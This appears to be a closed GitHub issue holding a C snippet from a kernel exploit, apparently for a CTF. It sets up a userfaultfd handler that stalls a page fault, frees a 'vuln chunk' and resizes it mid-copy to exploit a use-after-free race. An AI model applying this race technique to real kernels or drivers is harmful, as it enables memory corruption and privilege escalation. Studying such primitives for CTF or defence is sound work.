Closed Squirre17 closed 1 year ago
u32 uffd; void uffd_register(u64 fault_page, u64 fault_page_len){ struct uffdio_api ua; // io operation api struct uffdio_register ur;// io register // find /usr/include -name unistd_64.h 2>/dev/null uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); OK("uffd: %d", uffd); ua.api = UFFD_API; ua.features = 0; if(ioctl(uffd, UFFDIO_API, &ua) == -1) PANIC("ioctl"); ur.range.start = fault_page; ur.range.len = fault_page_len; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) PANIC("ioctl"); pthread_t thr; // 注意这里没有-1 pthread create正常返回0 if(pthread_create(&thr, NULL, UFFD_handler ,NULL)) errExit("pthread_create"); Done("regitser"); } void *UFFD_handler(void *nil){ Dbg("UFFD handler start"); struct uffd_msg msg; while (1) { struct pollfd pollfd; int nready = 0; pollfd.fd = uffd; pollfd.events = POLLIN ; nready = poll(&pollfd, 1, -1);// block here if(nready != 1) errExit("poll"); {// user code modify area edit(0, 0x500, zero);// 第一个edit free掉vuln chunk edit(0, 0x400, zero);// 第二个edit 确保size不变 } if(read(uffd, &msg, sizeof(msg)) != sizeof(msg)) errExit("read"); assert(msg.event == UFFD_EVENT_PAGEFAULT); struct uffdio_copy uc; uc.src = (unsigned long)zero; uc.dst = (unsigned long)fault_page; uc.len = fault_page_len; uc.mode = 0; ioctl(uffd, UFFDIO_COPY, &uc); Done("ioctl done"); } return NULL; }